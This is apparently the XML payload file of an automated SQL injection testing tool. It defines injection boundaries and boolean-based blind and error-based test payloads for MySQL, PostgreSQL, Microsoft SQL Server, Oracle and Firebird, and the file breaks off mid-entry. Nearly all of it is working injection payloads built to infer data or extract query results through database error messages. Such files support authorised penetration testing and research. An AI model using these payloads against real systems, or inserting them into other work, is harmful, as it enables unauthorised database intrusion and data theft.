<?xml version="1.0" encoding="UTF-8"?> <!-- Tag: <boundary> How to prepend and append to the test ' <payload><comment> ' string. Sub-tag: <level> From which level check for this test. Valid values: 1: Always (<100 requests) 2: Try a bit harder (100-200 requests) 3: Good number of requests (200-500 requests) 4: Extensive test (500-1000 requests) 5: You have plenty of time (>1000 requests) Sub-tag: <clause> In which clause the payload can work. NOTE: for instance, there are some payload that do not have to be tested as soon as it has been identified whether or not the injection is within a WHERE clause condition. Valid values: 0: Always 1: WHERE 2: GROUP BY 3: ORDER BY 4: LIMIT 5: OFFSET 6: TOP 7: Table name 8: Column name A comma separated list of these values is also possible. Sub-tag: <where> Where to add our '<prefix> <payload><comment> <suffix>' string. Valid values: 1: When the value of <test>'s <where> is 1. 2: When the value of <test>'s <where> is 2. 3: When the value of <test>'s <where> is 3. A comma separated list of these values is also possible. Sub-tag: <ptype> What is the parameter value type. Valid values: 1: Unescaped numeric 2: Single quoted string 3: LIKE single quoted string 4: Double quoted string 5: LIKE double quoted string Sub-tag: <prefix> A string to prepend to the payload. Sub-tag: <suffix> A string to append to the payload. Tag: <test> SQL injection test definition. Sub-tag: <title> Title of the test. Sub-tag: <stype> SQL injection family type. Valid values: 0: Heuristic check to parse response errors 1: Boolean-based blind SQL injection 2: Error-based SQL injection 3: UNION query SQL injection 4: Stacked queries SQL injection 5: AND/OR time-based blind SQL injection Sub-tag: <level> From which level check for this test. Valid values: 1: Always (<100 requests) 2: Try a bit harder (100-200 requests) 3: Good number of requests (200-500 requests) 4: Extensive test (500-1000 requests) 5: You have plenty of time (>1000 requests) Sub-tag: <risk> Likelihood of a payload to damage the data integrity. Valid values: 0: No risk 1: Low risk 2: Medium risk 3: High risk Sub-tag: <clause> In which clause the payload can work. NOTE: for instance, there are some payload that do not have to be tested as soon as it has been identified whether or not the injection is within a WHERE clause condition. Valid values: 0: Always 1: WHERE 2: GROUP BY 3: ORDER BY 4: LIMIT 5: OFFSET 6: TOP 7: Table name 8: Column name A comma separated list of these values is also possible. Sub-tag: <where> Where to add our '<prefix> <payload><comment> <suffix>' string. Valid values: 1: Append to the parameter original value 2: Append to the parameter original value and change the original value to its negative representation 3: Replace the parameter original value Sub-tag: <vector> The payload that will be used to exploit the injection point. Sub-tag: <request> What to inject for this test. Sub-tag: <payload> The payload to test for. Sub-tag: <comment> Comment to append to the payload, before the suffix. Sub-tag: <response> How to identify if the injected payload succeeded. Sub-tag: <comparison> Perform a request with this string as the payload and compare the response with the <payload> response. Apply the comparison algorithm. NOTE: useful to test for boolean-based blind SQL injections. Sub-tag: <grep> Regular expression to grep for in the response body. NOTE: useful to test for error-based and UNION query SQL injections. Sub-tag: <time> Time in seconds to wait before the response is returned. NOTE: useful to test for time-based blind and stacked queries SQL injections. Sub-tag: <out-of-band> # TODO Sub-tag: <details> Which details can be infered if the payload succeed. Sub-tags: <dbms> What is the database management system (e.g. MySQL). Sub-tags: <dbms_version> What is the database management system version (e.g. 5.0.51). Sub-tags: <os> What is the database management system underlying operating system. Formats: <boundary> <level></level> <clause></clause> <where></where> <ptype></ptype> <prefix></prefix> <suffix></suffix> </boundary> <test> <title></title> <stype></stype> <level></level> <risk></risk> <clause></clause> <where></where> <vector></vector> <request> <payload></payload> <comment></comment> </request> <response> <comparison></comparison> <grep></grep> <time></time> </response> <details> <dbms></dbms> <dbms_version></dbms_version> <os></os> </details> </test> --> <root> <!-- Generic boundaries --> <boundary> <level>1</level> <clause>0</clause> <where>1,2,3</where> <ptype>1</ptype> <prefix></prefix> <suffix></suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>1</ptype> <prefix>)</prefix> <suffix></suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>'</prefix> <suffix></suffix> </boundary> <boundary> <level>4</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>')</prefix> <suffix></suffix> </boundary> <boundary> <level>5</level> <clause>1</clause> <where>1,2</where> <ptype>4</ptype> <prefix>"</prefix> <suffix></suffix> </boundary> <!-- End of generic boundaries --> <!-- WHERE clause boundaries --> <boundary> <level>1</level> <clause>1</clause> <where>1,2</where> <ptype>1</ptype> <prefix>)</prefix> <suffix>AND ([RANDNUM]=[RANDNUM]</suffix> </boundary> <boundary> <level>2</level> <clause>1</clause> <where>1,2</where> <ptype>1</ptype> <prefix>))</prefix> <suffix>AND (([RANDNUM]=[RANDNUM]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>1</ptype> <prefix>)))</prefix> <suffix>AND ((([RANDNUM]=[RANDNUM]</suffix> </boundary> <boundary> <level>1</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>'</prefix> <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix> </boundary> <boundary> <level>1</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>')</prefix> <suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix> </boundary> <boundary> <level>2</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>'))</prefix> <suffix>AND (('[RANDSTR]'='[RANDSTR]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>2</ptype> <prefix>')))</prefix> <suffix>AND ((('[RANDSTR]'='[RANDSTR]</suffix> </boundary> <boundary> <level>2</level> <clause>1</clause> <where>1,2</where> <ptype>3</ptype> <prefix>'</prefix> <suffix>AND '[RANDSTR]' LIKE '[RANDSTR]</suffix> </boundary> <boundary> <level>2</level> <clause>1</clause> <where>1,2</where> <ptype>3</ptype> <prefix>')</prefix> <suffix>AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>3</ptype> <prefix>'))</prefix> <suffix>AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>3</ptype> <prefix>')))</prefix> <suffix>AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix> </boundary> <boundary> <level>2</level> <clause>1</clause> <where>1,2</where> <ptype>4</ptype> <prefix>"</prefix> <suffix>AND "[RANDSTR]"="[RANDSTR]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>4</ptype> <prefix>")</prefix> <suffix>AND ("[RANDSTR]"="[RANDSTR]</suffix> </boundary> <boundary> <level>4</level> <clause>1</clause> <where>1,2</where> <ptype>4</ptype> <prefix>"))</prefix> <suffix>AND (("[RANDSTR]"="[RANDSTR]</suffix> </boundary> <boundary> <level>4</level> <clause>1</clause> <where>1,2</where> <ptype>4</ptype> <prefix>")))</prefix> <suffix>AND ((("[RANDSTR]"="[RANDSTR]</suffix> </boundary> <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>5</ptype> <prefix>"</prefix> <suffix>AND "[RANDSTR]" LIKE "[RANDSTR]</suffix> </boundary> <boundary> <level>4</level> <clause>1</clause> <where>1,2</where> <ptype>5</ptype> <prefix>")</prefix> <suffix>AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix> </boundary> <boundary> <level>5</level> <clause>1</clause> <where>1,2</where> <ptype>5</ptype> <prefix>"))</prefix> <suffix>AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix> </boundary> <boundary> <level>5</level> <clause>1</clause> <where>1,2</where> <ptype>5</ptype> <prefix>")))</prefix> <suffix>AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix> </boundary> <!-- End of WHERE clause boundaries --> <!-- Boolean-based blind tests - WHERE clause --> <test> <title>AND boolean-based blind - WHERE clause</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [INFERENCE]</vector> <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> </request> <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> <test> <title>AND boolean-based blind - WHERE clause (MySQL comment)</title> <stype>1</stype> <level>4</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [INFERENCE]</vector> <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> <comment>#</comment> </request> <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> <test> <title>AND boolean-based blind - WHERE clause (Generic comment)</title> <stype>1</stype> <level>4</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [INFERENCE]</vector> <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> <comment>--</comment> </request> <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> <test> <title>OR boolean-based blind - WHERE clause</title> <stype>1</stype> <level>2</level> <risk>3</risk> <clause>1</clause> <where>2</where> <vector>OR NOT [INFERENCE]</vector> <request> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload> </request> <response> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison> </response> </test> <test> <title>OR boolean-based blind - WHERE clause (MySQL comment)</title> <stype>1</stype> <level>3</level> <risk>3</risk> <clause>1</clause> <where>2</where> <vector>OR NOT [INFERENCE]</vector> <request> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload> <comment>#</comment> </request> <response> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>OR boolean-based blind - WHERE clause (Generic comment)</title> <stype>1</stype> <level>3</level> <risk>3</risk> <clause>1</clause> <where>2</where> <vector>OR NOT [INFERENCE]</vector> <request> <payload>OR NOT [RANDNUM]=[RANDNUM]</payload> <comment>--</comment> </request> <response> <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison> </response> </test> <!-- End of boolean-based blind tests - WHERE clause --> <!-- Boolean-based blind tests - Parameter replace --> <test> <title>Generic boolean-based blind - Parameter replace</title> <stype>1</stype> <level>2</level> <risk>1</risk> <clause>1,2,3</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> </request> <response> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison> </response> </test> <test> <title>MySQL >= 5.0 boolean-based blind - Parameter replace</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>1,2,3</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload> </request> <response> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>MySQL < 5.0 boolean-based blind - Parameter replace</title> <stype>1</stype> <level>4</level> <risk>1</risk> <clause>1,2,3</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload> </request> <response> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>1,3</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload> </request> <response> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle boolean-based blind - Parameter replace</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>1,3</clause> <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload> </request> <response> <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison> </response> <details> <dbms>Oracle</dbms> </details> </test> <!-- TODO: check against Microsoft Access and SAP MaxDB --> <!-- End of boolean-based blind tests - Parameter replace --> <!-- Boolean-based blind tests - GROUP BY and ORDER BY clauses --> <test> <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> </request> <response> <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison> </response> </test> <test> <title>MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload> </request> <response> <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title> <stype>1</stype> <level>4</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload> </request> <response> <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>3</clause> <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload> </request> <response> <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle boolean-based blind - GROUP BY and ORDER BY clauses</title> <stype>1</stype> <level>3</level> <risk>1</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload> </request> <response> <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison> </response> <details> <dbms>Oracle</dbms> </details> </test> <!-- TODO: check against Microsoft Access and SAP MaxDB --> <!-- End of boolean-based blind tests - GROUP BY and ORDER BY clauses --> <!-- Error-based tests - WHERE clause --> <test> <title>MySQL >= 5.0 AND error-based - WHERE clause</title> <stype>2</stype> <level>1</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector> <request> <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>PostgreSQL AND error-based - WHERE clause</title> <stype>2</stype> <level>1</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector> <request> <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase AND error-based - WHERE clause</title> <stype>2</stype> <level>1</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <request> <payload>AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase AND error-based - WHERE clause (IN)</title> <stype>2</stype> <level>2</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <request> <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle AND error-based - WHERE clause (XMLType)</title> <stype>2</stype> <level>1</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <request> <payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle AND error-based - WHERE clause (utl_inaddr.get_host_address)</title> <stype>2</stype> <level>2</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> <dbms_version>>= 8.1.6</dbms_version> </details> </test> <test> <title>Oracle AND error-based - WHERE clause (ctxsys.drithsx.sn)</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Firebird AND error-based - WHERE clause</title> <stype>2</stype> <level>2</level> <risk>0</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Firebird</dbms> </details> </test> <test> <title>MySQL >= 5.0 OR error-based - WHERE clause</title> <stype>2</stype> <level>2</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector> <request> <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>MySQL OR error-based - WHERE clause</title> <stype>2</stype> <level>2</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector> <request> <payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload> <comment>#</comment> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>PostgreSQL OR error-based - WHERE clause</title> <stype>2</stype> <level>2</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector> <request> <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase OR error-based - WHERE clause</title> <stype>2</stype> <level>2</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <request> <payload>OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase OR error-based - WHERE clause (IN)</title> <stype>2</stype> <level>3</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <request> <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle OR error-based - WHERE clause (XMLType)</title> <stype>2</stype> <level>2</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <request> <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR error-based - WHERE clause (utl_inaddr.get_host_address)</title> <stype>2</stype> <level>3</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> <dbms_version>>= 8.1.6</dbms_version> </details> </test> <test> <title>Oracle OR error-based - WHERE clause (ctxsys.drithsx.sn)</title> <stype>2</stype> <level>4</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Firebird OR error-based - WHERE clause</title> <stype>2</stype> <level>3</level> <risk>2</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <request> <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Firebird</dbms> </details> </test> <!-- TODO: if possible, add payload for SQLite, Microsoft Access, and SAP MaxDB - no known techniques at this time --> <!-- End of error-based tests - WHERE clause --> <!-- Error-based tests - Parameter replace --> <test> <title>MySQL >= 5.0 error-based - Parameter replace</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>1,2,3</clause> <where>3</where> <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables 